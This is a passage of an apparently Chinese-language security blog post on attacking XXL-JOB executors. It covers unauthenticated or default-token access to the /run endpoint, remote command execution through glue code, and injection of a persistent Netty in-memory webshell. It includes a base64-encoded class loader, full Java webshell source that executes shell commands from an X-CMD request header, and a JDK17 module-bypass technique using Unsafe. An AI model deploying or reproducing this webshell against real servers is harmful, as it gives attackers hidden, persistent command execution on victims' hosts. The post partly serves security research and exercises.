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";
String className = "org.apache.http.web.handlers.jxXZQ.CheckerNettyHandler";
try {
Class.forName(className);
} catch (ClassNotFoundException e) {
try {
new Definder().defineClass(Base64.getDecoder().decode(base64Str)).newInstance();
} catch (Throwable ee) {
ee.printStackTrace();
}
}
}

public static class Definder extends ClassLoader {
public Definder() {
super(Thread.currentThread().getContextClassLoader());
}

public Class<?> defineClass(byte[] bytes) {
return defineClass(null, bytes, 0, bytes.length);
}
}

}

image

执行器 /run 未授权注入Netty内存马 & Code Audit

漏洞产生逻辑在com.xxl.job.core.server.EmbedServer

在执行器Executor端启动一个Netty HTTP服务端,供调度中心远程调用执行器执行任务,漏洞代码逻辑如下图

image

若配置文件中未配置accessToken,会导致acessToken == null,从而无需accessToken即可未授权访问下面所有接口,包括/run, /idleBeat, /kill等等

image

image

image

Challenge 04

执行器内存马注入

xxl-job 2.3.1开始,修复了之前默认accessToken为空的问题,并引入了默认token

image

这里配置文件默认accessToken = default_token,加一个请求头XXL-JOB-ACCESS-TOKEN: default_token即可

image

正常命令执行回显到日志
1
"glueSource": "import com.xxl.job.core.handler.IJobHandler;\nimport com.xxl.job.core.context.XxlJobHelper;\n\npublic class DemoGlueJobHandler extends IJobHandler {\n\n    @Override\n    public void execute() throws Exception {\n        StringBuilder out = new StringBuilder();\n        \n        Process process = Runtime.getRuntime().exec(new String[]{\"java\", \"-version\"});\n        \n        java.io.BufferedReader errorReader = new java.io.BufferedReader(\n            new java.io.InputStreamReader(process.getErrorStream())\n        );\n        \n        String line;\n        while ((line = errorReader.readLine()) != null) {\n            out.append(\"**********\").append(line).append(\"**********\\n\");\n        }\n        errorReader.close();\n        \n        int exitCode = process.waitFor();\n        if (exitCode != 0) {\n            java.io.BufferedReader reader = new java.io.BufferedReader(\n                new java.io.InputStreamReader(process.getInputStream())\n            );\n            while ((line = reader.readLine()) != null) {\n                out.append(\"[STDOUT] \").append(line).append(\"\\n\");\n            }\n            reader.close();\n        }\n\n        XxlJobHelper.log(out.toString());\n    }\n}",

image

image

使用的JDK版本为17.0.2

image

JDK17模块化绕过探索

为高版本XXL-JOB,内存马逻辑中使用了非常多的反射,需要绕模块化机制,正常来说只需要patchModule一下将恶意类的module改为java.base就可以绕过了

故魔改内存马加上patchModule的逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
package com.xxl.job.service.handler;

import io.netty.buffer.Unpooled;
import io.netty.channel.*;
import io.netty.channel.socket.SocketChannel;
import io.netty.handler.codec.http.*;
import io.netty.handler.timeout.IdleStateHandler;
import io.netty.util.CharsetUtil;

import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.lang.reflect.Field;
import java.util.ArrayList;
import java.util.HashSet;
import java.util.concurrent.TimeUnit;

import com.xxl.job.core.context.XxlJobHelper;
import com.xxl.job.core.handler.IJobHandler;
import sun.misc.Unsafe;

public class DemoGlueJobHandler extends IJobHandler {

@Override
public void execute() throws Exception {

// patchModule,绕JDK17
Unsafe unsafe = getUnsafe();
Module ObjectModule=Object.class.getModule();
long address = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
unsafe.getAndSetObject(DemoGlueJobHandler.class, address, ObjectModule);

try{
ThreadGroup group = Thread.currentThread().getThreadGroup();
Field threads = group.getClass().getDeclaredField("threads");
threads.setAccessible(true);
Thread[] allThreads = (Thread[]) threads.get(group);
for (Thread thread : allThreads) {
if (thread != null && thread.getName().contains("nioEventLoopGroup")) {
try {
Object target;
target = getFieldValue(getFieldValue(getFieldValue(thread, "target"), "runnable"), "val\$eventExecutor");
// NioEventLoop
if (target.getClass().getName().endsWith("NioEventLoop")) {
XxlJobHelper.log("NioEventLoop find");
HashSet set = (HashSet) getFieldValue(getFieldValue(target, "unwrappedSelector"), "keys");
if (!set.isEmpty()) {
Object keys = set.toArray()[0];

// pipeline
Object pipeline = getFieldValue(getFieldValue(keys, "attachment"), "pipeline");

// 替换 handler
Object aggregator = getFieldValue(getFieldValue(getFieldValue(pipeline, "head"), "next"), "handler");

// 设置初始化
setFieldValue(aggregator, "childHandler", new ChannelInitializer<SocketChannel>() {
@Override
public void initChannel(SocketChannel channel) throws Exception {
channel.pipeline()
.addLast(new IdleStateHandler(0, 0, 30 * 3, TimeUnit.SECONDS)) // beat 3N, close if idle
.addLast(new HttpServerCodec())
.addLast(new HttpObjectAggregator(5 * 1024 * 1024)) // merge request & reponse to FULL
.addLast(new NettyThreadHandler());
}
});
XxlJobHelper.log("ok?");
break;
}
}
} catch (Exception ignored) {
XxlJobHelper.log(ignored.toString());
}
}
}
}catch (Exception e){
XxlJobHelper.log(e.toString());
}
}

public static Unsafe getUnsafe() throws Exception{
//获得一个unsafe实例对象
Field field = Unsafe.class.getDeclaredField("theUnsafe");
field.setAccessible(true);
Unsafe unsafe = (Unsafe) field.get(null);
return unsafe;
}

@ChannelHandler.Sharable
public class NettyThreadHandler extends ChannelDuplexHandler{
@Override
public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception {
HttpRequest httpRequest = (HttpRequest)msg;
if(httpRequest.headers().contains("X-CMD")) {
String cmd = httpRequest.headers().get("X-CMD");
String execResult = "";
ArrayList<String> cmdList = new ArrayList<>();
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
cmdList.add("cmd.exe");
cmdList.add("/c");
} else {
cmdList.add("/bin/bash");
cmdList.add("-c");
}
cmdList.add(cmd);
String[] cmds = cmdList.toArray(new String[0]);

Process process = new ProcessBuilder(cmds).start();
InputStream inputStream = process.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream, "UTF-8"));
String line;
while ((line = reader.readLine()) != null) {
execResult =execResult+line;
}
process.destroy();
// 返回执行结果
send(ctx, execResult, HttpResponseStatus.OK);
}else {
ctx.fireChannelRead(msg);
}
}
private void send(ChannelHandlerContext ctx, String context, HttpResponseStatus status) {
FullHttpResponse response = new DefaultFullHttpResponse(HttpVersion.HTTP_1_1, status, Unpooled.copiedBuffer(context, CharsetUtil.UTF_8));
response.headers().set(HttpHeaderNames.CONTENT_TYPE, "text/plain; charset=UTF-8");
ctx.writeAndFlush(response).addListener(ChannelFutureListener.CLOSE);
}
}

public Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
} catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null){
field = getField(clazz.getSuperclass(), fieldName);
}
}
return field;
}

public Object getFieldValue(final Object obj, final String fieldName) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
return field.get(obj);
}

public void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}

}

但是依然抛出异常

image

java.lang.reflect.AccessibleObject#checkCanSetAccessible(java.lang.Class<?>, java.lang.Class<?>, boolean)方法打断点找原因

可以看到caller不是DemoGlueJobHandler而是org.codehaus.groovy.vmplugin.v8.IndyInterface$$InjectedInvoker/0x00000098016f0c00

image

当直接添加虚拟机选项把模块化机制放开

1
--add-opens java.base/java.lang=ALL-UNNAMED --add-opens java.base/java.lang.invoke=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.util.concurrent=ALL-UNNAMED --add-opens java.base/java.util.stream=ALL-UNNAMED --add-opens java.base/java.io=ALL-UNNAMED --add-opens java.base/java.nio=ALL-UNNAMED --add-opens java.base/java.nio.channels=ALL-UNNAMED --add-opens java.base/java.nio.file=ALL-UNNAMED --add-opens java.base/java.net=ALL-UNNAMED --add-opens java.base/java.security=ALL-UNNAMED --add-opens java.base/java.math=ALL-UNNAMED --add-opens java.base/java.text=ALL-UNNAMED --add-opens java.base/java.time=ALL-UNNAMED --add-opens java.base/java.util.jar=ALL-UNNAMED --add-opens java.base/java.util.zip=ALL-UNNAMED --add-opens java.base/sun.nio.ch=ALL-UNNAMED --add-opens java.base/sun.security.util=ALL-UNNAMED --add-opens java.base/jdk.internal.misc=ALL-UNNAMED --add-opens java.base/jdk.internal.loader=ALL-UNNAMED --add-opens java.base/jdk.internal.ref=ALL-UNNAMED --add-opens java.base/jdk.internal.vm=ALL-UNNAMED

就可以正常注入内存马了

image

XXL-JOB & Netty 内存马

执行器初始化流程分析

XXL-JOB 2.3.1为例

执行器初始化流程如图所示,最终调用至EmbedServer#start

image

EmbedServer#start方法中,调用bootstrap.bind(port)绑定端口

image

调用至io.netty.bootstrap.ServerBootstrap#init进行初始化

image

pipeline中加入ServerBootstrapAcceptor

当我们在调度后台点击”执行任务”的时候

ServerBootstrapAcceptor的作用是接收accept到的新连接,然后调用ServerBootstrapAcceptor#channelRead方法

image

ServerBootstrapAcceptor#channelRead方法中会添加childHandler,并注册EventLoopGroup

添加childHandler的操作就会走到EmbedServer#start方法中重写的initChannel方法

image

其中EmbedHttpServerHandler是负责处理/run等路由的逻辑的

调用至com.xxl.job.core.server.EmbedServer.EmbedHttpServerHandler#channelRead0

image

处理请求的逻辑在com.xxl.job.core.server.EmbedServer.EmbedHttpServerHandler#process方法中,跟进,是很熟悉的处理逻辑了

image

获取当前线程所属的线程组看细节,

image

这里DefaultChannelPipeline就是ServerBootstrap#init中的pipelineNettypipeline是由多个handler构成的双向列表,这里的head是虚拟头节点,它的next指向第一个真实的handler,即ServerBootstrapAcceptor,和我们之前分析的ServerBootstrap#init完美契合

一种注入内存马的思路是直接改childHandler,添加一个恶意的handler来处理HTTP请求

只需要一步一步把handler提取出来,然后给childhandler重新赋值即可

文章 https://www.kitsch.life/2024/01/31/xxl-job%e5%88%a9%e7%94%a8%e7%a0%94%e7%a9%b6/ 给出了低版本xxl-jobnetty内存马代码,但是还是老问题,从xxl-job 2.3.0开始,execute()方法改为无参,XxlJobLogger.log修改为XxlJobHelper.log

修改后代码如下所示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
import io.netty.buffer.Unpooled;
import io.netty.channel.*;
import io.netty.channel.socket.SocketChannel;
import io.netty.handler.codec.http.*;
import io.netty.handler.timeout.IdleStateHandler;
import io.netty.util.CharsetUtil;

import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.lang.reflect.Field;
import java.util.ArrayList;
import java.util.HashSet;
import java.util.concurrent.TimeUnit;

import com.xxl.job.core.context.XxlJobHelper;
import com.xxl.job.core.handler.IJobHandler;

public class DemoGlueJobHandler extends IJobHandler {

@Override
public void execute() throws Exception {
XxlJobHelper.log("XXL-JOB, Hello World.");
try{
ThreadGroup group = Thread.currentThread().getThreadGroup();
Field threads = group.getClass().getDeclaredField("threads");
threads.setAccessible(true);
Thread[] allThreads = (Thread[]) threads.get(group);
for (Thread thread : allThreads) {
if (thread != null && thread.getName().contains("nioEventLoopGroup")) {
try {
Object target;

try {
target = getFieldValue(getFieldValue(getFieldValue(thread, "target"), "runnable"), "val\$eventExecutor");
} catch (Exception e) {
continue;
}

// NioEventLoop
if (target.getClass().getName().endsWith("NioEventLoop")) {
XxlJobHelper.log("NioEventLoop find");
HashSet set = (HashSet) getFieldValue(getFieldValue(target, "unwrappedSelector"), "keys");
if (!set.isEmpty()) {
Object keys = set.toArray()[0];

// pipeline
Object pipeline = getFieldValue(getFieldValue(keys, "attachment"), "pipeline");

// 替换 handler
Object aggregator = getFieldValue(getFieldValue(getFieldValue(pipeline, "head"), "next"), "handler");

// 设置初始化
setFieldValue(aggregator, "childHandler", new ChannelInitializer<SocketChannel>() {
@Override
public void initChannel(SocketChannel channel) throws Exception {
channel.pipeline()
.addLast(new IdleStateHandler(0, 0, 30 * 3, TimeUnit.SECONDS)) // beat 3N, close if idle
.addLast(new HttpServerCodec())
.addLast(new HttpObjectAggregator(5 * 1024 * 1024)) // merge request & reponse to FULL
.addLast(new NettyThreadHandler());
}
});
XxlJobHelper.log("ok?");
break;
}
}
} catch (Exception ignored) {
XxlJobHelper.log(ignored.toString());
}
}
}
}catch (Exception e){
XxlJobHelper.log(e.toString());
}
}

@ChannelHandler.Sharable
public class NettyThreadHandler extends ChannelDuplexHandler{
@Override
public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception {
HttpRequest httpRequest = (HttpRequest)msg;
if(httpRequest.headers().contains("X-CMD")) {
String cmd = httpRequest.headers().get("X-CMD");
String execResult = "";
ArrayList<String> cmdList = new ArrayList<>();
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
cmdList.add("cmd.exe");
cmdList.add("/c");
} else {
cmdList.add("/bin/bash");
cmdList.add("-c");
}
cmdList.add(cmd);
String[] cmds = cmdList.toArray(new String[0]);

Process process = new ProcessBuilder(cmds).start();
InputStream inputStream = process.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream, "UTF-8"));
String line;
while ((line = reader.readLine()) != null) {
execResult =execResult+line;
}
process.destroy();
// 返回执行结果
send(ctx, execResult, HttpResponseStatus.OK);
}else {
ctx.fireChannelRead(msg);
}
}
private void send(ChannelHandlerContext ctx, String context, HttpResponseStatus status) {
FullHttpResponse response = new DefaultFullHttpResponse(HttpVersion.HTTP_1_1, status, Unpooled.copiedBuffer(context, CharsetUtil.UTF_8));
response.headers().set(HttpHeaderNames.CONTENT_TYPE, "text/plain; charset=UTF-8");
ctx.writeAndFlush(response).addListener(ChannelFutureListener.CLOSE);
}
}

public Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
} catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null){
field = getField(clazz.getSuperclass(), fieldName);
}
}
return field;
}

public Object getFieldValue(final Object obj, final String fieldName) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
return field.get(obj);
}

public void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}

}

execute()方法为提取handler并为childhandler重新赋值的逻辑

NettyThreadHandler为自定义恶意handler,让后续的HTTP请求走NettyThreadHandler#channelRead

成功修改

image

image


参考文章

http://www.bmth666.cn/2024/07/09/XXL-JOB-Executor-%E5%86%85%E5%AD%98%E9%A9%AC%E6%B3%A8%E5%85%A5/index.html

https://www.kitsch.life/2024/01/31/xxl-job%e5%88%a9%e7%94%a8%e7%a0%94%e7%a9%b6/

https://mp.weixin.qq.com/s/aFE5BXTpnLaCymUJFAC3og

https://mp.weixin.qq.com/s/CxKbdkZqKftf1cP0BvBeUQ

https://github.com/RuoJi6/xxl-job-FLM

上一页
2026-01-11 21:24:51
下一页